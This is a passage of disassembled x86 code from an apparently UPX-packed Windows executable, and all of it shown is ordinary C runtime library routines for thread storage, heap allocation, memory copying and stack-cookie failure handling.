		push	offset aKernel32_dll ; "KERNEL32.DLL"
		call	dword_40C064	; GetModuleHandleA
		mov	esi, eax
		test	esi, esi
		jz	short loc_404773
		call	sub_404628
		test	eax, eax
		jz	short loc_404773
		push	offset aDecodepointer ;	"DecodePointer"
		push	esi
		call	dword_40C068	; GetProcAddress


loc_404765:				; CODE XREF: sub_40470B+32j
		test	eax, eax
		jz	short loc_404773
		push	[esp+4+arg_0]
		call	eax
		mov	[esp+4+arg_0], eax


loc_404773:				; CODE XREF: sub_40470B+43j
					; sub_40470B+4Cj ...
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn
sub_40470B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404779	proc near		; DATA XREF: sub_404A60+8Ao
		call	dword_40C070	; TlsAlloc
		retn	4
sub_404779	endp


; =============== S U B	R O U T	I N E =======================================



sub_404782	proc near		; CODE XREF: sub_4048B0+10p
		push	esi
		push	ds:dword_40F06C
		call	dword_40C06C	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4047B0
		push	ds:dword_40FE24
		call	sub_40470B
		pop	ecx
		mov	esi, eax
		push	esi
		push	ds:dword_40F06C
		call	dword_40C074	; TlsSetValue


loc_4047B0:				; CODE XREF: sub_404782+11j
		mov	eax, esi
		pop	esi
		retn
sub_404782	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047B4	proc near		; CODE XREF: sub_404A60+12p
					; sub_404A60:loc_404BDAp
		mov	eax, ds:dword_40F068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4047D4
		push	eax
		push	ds:dword_40FE2C
		call	sub_40470B
		pop	ecx
		call	eax ; dword_40F068
		or	ds:dword_40F068, 0FFFFFFFFh


loc_4047D4:				; CODE XREF: sub_4047B4+8j
		mov	eax, ds:dword_40F06C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4047EC
		push	eax
		call	dword_40C078	; TlsFree
		or	ds:dword_40F06C, 0FFFFFFFFh


loc_4047EC:				; CODE XREF: sub_4047B4+28j
		jmp	sub_4078A5
sub_4047B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4047F1	proc near		; CODE XREF: sub_4048B0+4Dp
					; sub_404A60+162p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	0Ch
		push	offset dword_40DEA0
		call	__SEH_prolog4
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		call	dword_40C064	; GetModuleHandleA
		mov	[ebp+var_1C], eax
		mov	esi, [ebp+arg_0]
		mov	dword ptr [esi+5Ch], offset dword_40F2B8
		xor	edi, edi
		inc	edi
		mov	[esi+14h], edi
		test	eax, eax
		jz	short loc_40484E
		call	sub_404628
		test	eax, eax
		jz	short loc_40484E
		push	offset aEncodepointer ;	"EncodePointer"
		push	[ebp+var_1C]
		mov	ebx, dword_40C068
		call	ebx ; dword_40C068
		mov	[esi+1F8h], eax
		push	offset aDecodepointer ;	"DecodePointer"
		push	[ebp+var_1C]
		call	ebx ; dword_40C068
		mov	[esi+1FCh], eax


loc_40484E:				; CODE XREF: sub_4047F1+2Cj
					; sub_4047F1+35j
		mov	[esi+70h], edi
		mov	byte ptr [esi+0C8h], 43h
		mov	byte ptr [esi+14Bh], 43h
		mov	eax, offset dword_40F5B8
		mov	[esi+68h], eax
		push	eax
		call	dword_40C07C	; InterlockedIncrement
		push	0Ch
		call	sub_4079D2
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+arg_4]
		mov	[esi+6Ch], eax
		test	eax, eax
		jnz	short loc_40488C
		mov	eax, ds:off_40F5A8
		mov	[esi+6Ch], eax


loc_40488C:				; CODE XREF: sub_4047F1+91j
		push	dword ptr [esi+6Ch]
		call	sub_407B43
		pop	ecx
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4048A7
		call	__SEH_epilog4
		retn
sub_4047F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4048A7	proc near		; CODE XREF: sub_4047F1+ABp
					; DATA XREF: UPX1:0040DEB8o
		push	0Ch
		call	sub_4078FA
		pop	ecx
		retn
sub_4048A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4048B0	proc near		; CODE XREF: sub_404927+1p sub_4053C0p ...
		push	esi
		push	edi
		call	dword_40C088	; RtlGetLastWin32Error
		push	ds:dword_40F068
		mov	edi, eax
		call	sub_404782
		call	eax
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40491B
		push	214h
		push	1
		call	sub_405413
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40491B
		push	esi
		push	ds:dword_40F068
		push	ds:dword_40FE28
		call	sub_40470B
		pop	ecx
		call	eax
		test	eax, eax
		jz	short loc_404912
		push	0
		push	esi
		call	sub_4047F1
		pop	ecx
		pop	ecx
		call	dword_40C084	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_40491B
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_4048B0+48j
		push	esi
		call	sub_404F20
		pop	ecx
		xor	esi, esi


loc_40491B:				; CODE XREF: sub_4048B0+1Bj
					; sub_4048B0+2Fj ...
		push	edi
		call	dword_40C080	; RtlSetLastWin32Error
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_4048B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_404927	proc near		; CODE XREF: sub_404286+89p
					; sub_40446B+Bp ...
		push	esi
		call	sub_4048B0
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40493B
		push	10h
		call	sub_405549
		pop	ecx


loc_40493B:				; CODE XREF: sub_404927+Aj
		mov	eax, esi
		pop	esi
		retn
sub_404927	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40493F	proc near		; DATA XREF: sub_404A60+115o

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_40DEC0
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	loc_404A40
		mov	eax, [esi+24h]
		test	eax, eax
		jz	short loc_404964
		push	eax
		call	sub_404F20
		pop	ecx


loc_404964:				; CODE XREF: sub_40493F+1Cj
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_404972
		push	eax
		call	sub_404F20
		pop	ecx


loc_404972:				; CODE XREF: sub_40493F+2Aj
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_404980
		push	eax
		call	sub_404F20
		pop	ecx


loc_404980:				; CODE XREF: sub_40493F+38j
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_40498E
		push	eax
		call	sub_404F20
		pop	ecx


loc_40498E:				; CODE XREF: sub_40493F+46j
		mov	eax, [esi+44h]
		test	eax, eax
		jz	short loc_40499C
		push	eax
		call	sub_404F20
		pop	ecx


loc_40499C:				; CODE XREF: sub_40493F+54j
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_4049AA
		push	eax
		call	sub_404F20
		pop	ecx


loc_4049AA:				; CODE XREF: sub_40493F+62j
		mov	eax, [esi+5Ch]
		cmp	eax, offset dword_40F2B8
		jz	short loc_4049BB
		push	eax
		call	sub_404F20
		pop	ecx


loc_4049BB:				; CODE XREF: sub_40493F+73j
		push	0Dh
		call	sub_4079D2
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [esi+68h]
		test	edi, edi
		jz	short loc_4049E8
		push	edi
		call	dword_40C08C	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_4049E8
		cmp	edi, offset dword_40F5B8
		jz	short loc_4049E8
		push	edi
		call	sub_404F20
		pop	ecx


loc_4049E8:				; CODE XREF: sub_40493F+8Dj
					; sub_40493F+98j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_404A4B
		push	0Ch
		call	sub_4079D2
		pop	ecx
		mov	[ebp+ms_exc.disabled], 1
		mov	edi, [esi+6Ch]
		test	edi, edi
		jz	short loc_404A2D
		push	edi
		call	sub_407BC9
		pop	ecx
		cmp	edi, ds:off_40F5A8
		jz	short loc_404A2D
		cmp	edi, offset dword_40F4D0
		jz	short loc_404A2D
		cmp	dword ptr [edi], 0
		jnz	short loc_404A2D
		push	edi
		call	sub_407A03
		pop	ecx


loc_404A2D:				; CODE XREF: sub_40493F+C9j
					; sub_40493F+D8j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_404A57
		push	esi
		call	sub_404F20
		pop	ecx


loc_404A40:				; CODE XREF: sub_40493F+11j
		call	__SEH_epilog4
		retn	4
sub_40493F	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A48	proc near		; DATA XREF: UPX1:0040DED8o
		mov	esi, [ebp+8]
sub_404A48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404A4B	proc near		; CODE XREF: sub_40493F+B0p
		push	0Dh
		call	sub_4078FA
		pop	ecx
		retn
sub_404A4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A54	proc near		; DATA XREF: UPX1:0040DEE4o
		mov	esi, [ebp+8]
sub_404A54	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404A57	proc near		; CODE XREF: sub_40493F+F5p
		push	0Ch
		call	sub_4078FA
		pop	ecx
		retn
sub_404A57	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A60	proc near		; CODE XREF: start:loc_404046p
		push	edi
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		call	dword_40C064	; GetModuleHandleA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_404A7B
		call	sub_4047B4
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_404A60+10j
		push	esi
		mov	esi, dword_40C068
		push	offset aFlsalloc ; "FlsAlloc"
		push	edi
		call	esi ; dword_40C068
		push	offset aFlsgetvalue ; "FlsGetValue"
		push	edi
		mov	ds:dword_40FE20, eax
		call	esi ; dword_40C068
		push	offset aFlssetvalue ; "FlsSetValue"
		push	edi
		mov	ds:dword_40FE24, eax
		call	esi ; dword_40C068
		push	offset aFlsfree	; "FlsFree"
		push	edi
		mov	ds:dword_40FE28, eax
		call	esi ; dword_40C068
		cmp	ds:dword_40FE20, 0
		mov	esi, dword_40C074
		mov	ds:dword_40FE2C, eax
		jz	short loc_404ADB
		cmp	ds:dword_40FE24, 0
		jz	short loc_404ADB
		cmp	ds:dword_40FE28, 0
		jz	short loc_404ADB
		test	eax, eax
		jnz	short loc_404AFF


loc_404ADB:				; CODE XREF: sub_404A60+63j
					; sub_404A60+6Cj ...
		mov	eax, dword_40C06C
		mov	ds:dword_40FE24, eax
		mov	eax, dword_40C078
		mov	ds:dword_40FE20, offset	sub_404779
		mov	ds:dword_40FE28, esi
		mov	ds:dword_40FE2C, eax


loc_404AFF:				; CODE XREF: sub_404A60+79j
		call	dword_40C070	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_40F06C, eax
		jz	loc_404BDF
		push	ds:dword_40FE24
		push	eax
		call	esi ; dword_40C074
		test	eax, eax
		jz	loc_404BDF
		call	sub_405819
		push	ds:dword_40FE20
		call	sub_404694
		push	ds:dword_40FE24
		mov	ds:dword_40FE20, eax
		call	sub_404694
		push	ds:dword_40FE28
		mov	ds:dword_40FE24, eax
		call	sub_404694
		push	ds:dword_40FE2C
		mov	ds:dword_40FE28, eax
		call	sub_404694
		add	esp, 10h
		mov	ds:dword_40FE2C, eax
		call	sub_40785C
		test	eax, eax
		jz	short loc_404BDA
		push	offset sub_40493F
		push	ds:dword_40FE20
		call	sub_40470B
		pop	ecx
		call	eax	; TlsFree
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_40F068, eax
		jz	short loc_404BDA
		push	214h
		push	1
		call	sub_405413
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_404BDA
		push	esi
		push	ds:dword_40F068
		push	ds:dword_40FE28
		call	sub_40470B
		pop	ecx
		call	eax	; TlsFree
		test	eax, eax
		jz	short loc_404BDA
		push	0
		push	esi
		call	sub_4047F1
		pop	ecx
		pop	ecx
		call	dword_40C084	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------


loc_404BDA:				; CODE XREF: sub_404A60+113j
					; sub_404A60+130j ...
		call	sub_4047B4


loc_404BDF:				; CODE XREF: sub_404A60+ADj
					; sub_404A60+BEj
		xor	eax, eax


loc_404BE1:				; CODE XREF: sub_404A60+178j
		pop	esi
		pop	edi
		retn
sub_404A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BE4	proc near		; CODE XREF: sub_404C3B+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], edi
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		shr	ecx, 7
		pxor	xmm0, xmm0
		jmp	short loc_404C04
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h, 4 dup(0)
		align 4


loc_404C04:				; CODE XREF: sub_404BE4+16j
					; sub_404BE4+4Ej
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm0
		movdqa	oword ptr [edi+20h], xmm0
		movdqa	oword ptr [edi+30h], xmm0
		movdqa	oword ptr [edi+40h], xmm0
		movdqa	oword ptr [edi+50h], xmm0
		movdqa	oword ptr [edi+60h], xmm0
		movdqa	oword ptr [edi+70h], xmm0
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_404C04
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_404BE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C3B	proc near		; CODE XREF: sub_4021D0+27j
					; sub_404C3B+7Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], edi
		mov	eax, [ebp+arg_0]
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		test	edi, edi
		jnz	short loc_404C95
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		and	edx, 7Fh
		mov	[ebp+var_C], edx
		cmp	ecx, edx
		jz	short loc_404C7A
		sub	ecx, edx
		push	ecx
		push	eax
		call	sub_404BE4
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_C]


loc_404C7A:				; CODE XREF: sub_404C3B+2Bj
		test	edx, edx
		jz	short loc_404CC3
		add	eax, [ebp+arg_8]
		sub	eax, edx
		mov	[ebp+var_8], eax
		xor	eax, eax
		mov	edi, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		rep stosb
		mov	eax, [ebp+arg_0]
		jmp	short loc_404CC3
; ---------------------------------------------------------------------------


loc_404C95:				; CODE XREF: sub_404C3B+1Cj
		neg	edi
		add	edi, 10h
		mov	[ebp+var_10], edi
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		rep stosb
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		add	ecx, eax
		sub	edx, eax
		push	edx
		push	0
		push	ecx
		call	sub_404C3B
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]


loc_404CC3:				; CODE XREF: sub_404C3B+41j
					; sub_404C3B+58j
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_404C3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404CCA	proc near		; DATA XREF: UPX0:0040C148o
		and	ds:dword_410A18, 0
		call	sub_408498
		mov	ds:dword_410A18, eax
		xor	eax, eax
		retn
sub_404CCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CDE	proc near		; CODE XREF: sub_40224A:loc_402254j

var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	ds:dword_40FF38, eax
		mov	ds:dword_40FF34, ecx
		mov	ds:dword_40FF30, edx
		mov	ds:dword_40FF2C, ebx
		mov	ds:dword_40FF28, esi
		mov	ds:dword_40FF24, edi
		mov	ds:word_40FF50,	ss
		mov	ds:word_40FF44,	cs
		mov	ds:word_40FF20,	ds
		mov	ds:word_40FF1C,	es
		mov	ds:word_40FF18,	fs
		mov	ds:word_40FF14,	gs
		pushf
		pop	ds:dword_40FF48
		mov	eax, [ebp+0]
		mov	ds:dword_40FF3C, eax
		mov	eax, [ebp+4]
		mov	ds:dword_40FF40, eax
		lea	eax, [ebp+arg_0]
		mov	ds:dword_40FF4C, eax
		mov	eax, [ebp+var_320]
		mov	ds:dword_40FE88, 10001h
		mov	eax, ds:dword_40FF40
		mov	ds:dword_40FE3C, eax
		mov	ds:dword_40FE30, 0C0000409h
		mov	ds:dword_40FE34, 1
		mov	eax, ds:dword_40F060
		mov	[ebp+var_328], eax
		mov	eax, ds:dword_40F064
		mov	[ebp+var_324], eax
		call	dword_40C040	; IsDebuggerPresent
		mov	ds:dword_40FE80, eax
		push	1
		call	sub_404620
		pop	ecx
		push	0
		call	dword_40C03C	; SetUnhandledExceptionFilter
		push	offset off_40C274
		call	dword_40C038	; UnhandledExceptionFilter
		cmp	ds:dword_40FE80, 0
		jnz	short loc_404DCE
		push	1
		call	sub_404620
		pop	ecx


loc_404DCE:				; CODE XREF: sub_404CDE+E6j
		push	0C0000409h
		call	dword_40C034	; GetCurrentProcess
		push	eax
		call	dword_40C030	; TerminateProcess
		leave
		retn
sub_404CDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DE2	proc near		; CODE XREF: sub_404E31+59p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_40DEE8
		call	__SEH_prolog4
		and	[ebp+var_1C], 0
		mov	esi, [ebp+arg_0]
		cmp	esi, ds:dword_4108D4
		ja	short loc_404E1F
		push	4
		call	sub_4079D2
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_408D21
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_404E28


loc_404E1F:				; CODE XREF: sub_404DE2+19j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_404DE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E28	proc near		; CODE XREF: sub_404DE2+38p
					; DATA XREF: UPX1:0040DF00o
		push	4
		call	sub_4078FA
		pop	ecx
		retn
sub_404E28	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E31	proc near		; CODE XREF: sub_402371+18p
					; sub_4023F1+1Fp ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		cmp	ebp, 0FFFFFFE0h
		ja	loc_404EDE
		push	ebx
		mov	ebx, dword_40C050
		push	esi
		push	edi


loc_404E48:				; CODE XREF: sub_404E31+94j
		xor	esi, esi
		cmp	ds:dword_4105D4, esi
		mov	edi, ebp
		jnz	short loc_404E6C
		call	sub_4060C3
		push	1Eh
		call	sub_405F23
		push	0FFh
		call	sub_405593
		pop	ecx
		pop	ecx


loc_404E6C:				; CODE XREF: sub_404E31+21j
		mov	eax, ds:dword_4108E4
		cmp	eax, 1
		jnz	short loc_404E84
		cmp	ebp, esi
		jz	short loc_404E7E
		mov	eax, ebp
		jmp	short loc_404E81
; ---------------------------------------------------------------------------


loc_404E7E:				; CODE XREF: sub_404E31+47j
		xor	eax, eax
		inc	eax


loc_404E81:				; CODE XREF: sub_404E31+4Bj
		push	eax
		jmp	short loc_404EA2
; ---------------------------------------------------------------------------


loc_404E84:				; CODE XREF: sub_404E31+43j
		cmp	eax, 3
		jnz	short loc_404E94
		push	ebp
		call	sub_404DE2
		cmp	eax, esi
		pop	ecx
		jnz	short loc_404EAB


loc_404E94:				; CODE XREF: sub_404E31+56j
		cmp	ebp, esi
		jnz	short loc_404E9B
		xor	edi, edi
		inc	edi


loc_404E9B:				; CODE XREF: sub_404E31+65j
		add	edi, 0Fh
		and	edi, 0FFFFFFF0h
		push	edi


loc_404EA2:				; CODE XREF: sub_404E31+51j
		push	esi
		push	ds:dword_4105D4
		call	ebx ; dword_40C050


loc_404EAB:				; CODE XREF: sub_404E31+61j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_404ED7
		cmp	ds:dword_410774, eax
		push	0Ch
		pop	edi
		jz	short loc_404EC9
		push	ebp
		call	sub_404EFE
		test	eax, eax
		pop	ecx
		jnz	short loc_404E48
		jmp	short loc_404ED0
; ---------------------------------------------------------------------------


loc_404EC9:				; CODE XREF: sub_404E31+89j
		call	sub_4053C0
		mov	[eax], edi


loc_404ED0:				; CODE XREF: sub_404E31+96j
		call	sub_4053C0
		mov	[eax], edi


loc_404ED7:				; CODE XREF: sub_404E31+7Ej
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_404EDE:				; CODE XREF: sub_404E31+8j
		push	ebp
		call	sub_404EFE
		pop	ecx
		call	sub_4053C0
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		pop	ebp
		retn
sub_404E31	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EF4	proc near		; CODE XREF: sub_405819+9p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_410154, eax
		retn
sub_404EF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EFE	proc near		; CODE XREF: sub_402371+Bp
					; sub_404E31+8Cp ...

arg_0		= dword	ptr  4

		push	ds:dword_410154
		call	sub_40470B
		test	eax, eax
		pop	ecx
		jz	short loc_404F1D
		push	[esp+arg_0]
		call	eax ; sub_40B144
		test	eax, eax
		pop	ecx
		jz	short loc_404F1D
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_404F1D:				; CODE XREF: sub_404EFE+Ej
					; sub_404EFE+19j
		xor	eax, eax
		retn
sub_404EFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F20	proc near		; CODE XREF: sub_4023DBj sub_4024AF+Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00404F7F SIZE 0000002F BYTES

		push	0Ch
		push	offset dword_40DF08
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_404FA8
		cmp	ds:dword_4108E4, 3
		jnz	short loc_404F7F
		push	4
		call	sub_4079D2
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_40854D
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_404F5F
		push	esi
		push	eax
		call	sub_408578
		pop	ecx
		pop	ecx


loc_404F5F:				; CODE XREF: sub_404F20+34j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_404F76
		cmp	[ebp+var_1C], 0
		jnz	short loc_404FA8
		push	[ebp+arg_0]
		jmp	short loc_404F80
sub_404F20	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F76	proc near		; CODE XREF: sub_404F20+46p
					; DATA XREF: UPX1:0040DF20o
		push	4
		call	sub_4078FA
		pop	ecx
		retn
sub_404F76	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404F20


loc_404F7F:				; CODE XREF: sub_404F20+1Aj
		push	esi


loc_404F80:				; CODE XREF: sub_404F20+54j
		push	0
		push	ds:dword_4105D4
		call	dword_40C048	; RtlFreeHeap
		test	eax, eax
		jnz	short loc_404FA8
		call	sub_4053C0
		mov	esi, eax
		call	dword_40C088	; RtlGetLastWin32Error
		push	eax
		call	sub_405385
		mov	[esi], eax
		pop	ecx


loc_404FA8:				; CODE XREF: sub_404F20+11j
					; sub_404F20+4Fj ...
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_404F20

; =============== S U B	R O U T	I N E =======================================



sub_404FAE	proc near		; CODE XREF: sub_4023F1+31p
					; sub_402457+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jz	short loc_404FC3
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_404FDE


loc_404FC3:				; CODE XREF: sub_404FAE+Bj
					; sub_404FAE+3Aj
		call	sub_4053C0
		push	16h
		pop	esi
		mov	[eax], esi


loc_404FCD:				; CODE XREF: sub_404FAE+5Dj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_402191
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40500F
; ---------------------------------------------------------------------------


loc_404FDE:				; CODE XREF: sub_404FAE+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_404FEA
		mov	[ecx], bl
		jmp	short loc_404FC3
; ---------------------------------------------------------------------------


loc_404FEA:				; CODE XREF: sub_404FAE+36j
		mov	edx, ecx


loc_404FEC:				; CODE XREF: sub_404FAE+49j
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		inc	esi
		cmp	al, bl
		jz	short loc_404FF9
		dec	edi
		jnz	short loc_404FEC


loc_404FF9:				; CODE XREF: sub_404FAE+46j
		cmp	edi, ebx
		jnz	short loc_40500D
		mov	[ecx], bl
		call	sub_4053C0
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_404FCD
; ---------------------------------------------------------------------------


loc_40500D:				; CODE XREF: sub_404FAE+4Dj
		xor	eax, eax


loc_40500F:				; CODE XREF: sub_404FAE+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404FAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405020	proc near		; CODE XREF: sub_4024EE+43p
					; sub_4065E3+11Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_405040
		cmp	edi, eax
		jb	loc_4051E4


loc_405040:				; CODE XREF: sub_405020+16j
		cmp	ecx, 100h
		jb	short loc_405067
		cmp	ds:dword_410A1C, 0
		jz	short loc_405067
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_405067
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_40908B
; ---------------------------------------------------------------------------


loc_405067:				; CODE XREF: sub_405020+26j
					; sub_405020+2Fj ...
		test	edi, 3
		jnz	short loc_405084
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4050A4
		rep movsd
		jmp	off_405194[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_405084:				; CODE XREF: sub_405020+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40509C
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4050A4+4[eax*4]
; ---------------------------------------------------------------------------


loc_40509C:				; CODE XREF: sub_405020+6Ej
		jmp	dword ptr loc_4051A4[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4050A4:				; CODE XREF: sub_405020+58j
					; sub_405020+B6j ...
		jmp	off_405128[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4050B8
		dd offset loc_4050E4
		dd offset loc_405108
; ---------------------------------------------------------------------------


loc_4050B8:				; DATA XREF: sub_405020+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4050A4
		rep movsd
		jmp	off_405194[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4050E4:				; DATA XREF: sub_405020+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4050A4
		rep movsd
		jmp	off_405194[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_405108:				; DATA XREF: sub_405020+94o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_4050A4
		rep movsd
		jmp	off_405194[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_405128	dd offset loc_40518B	; DATA XREF: sub_405020:loc_4050A4r
		dd offset loc_405178
		dd offset loc_405170
		dd offset loc_405168
		dd offset loc_405160
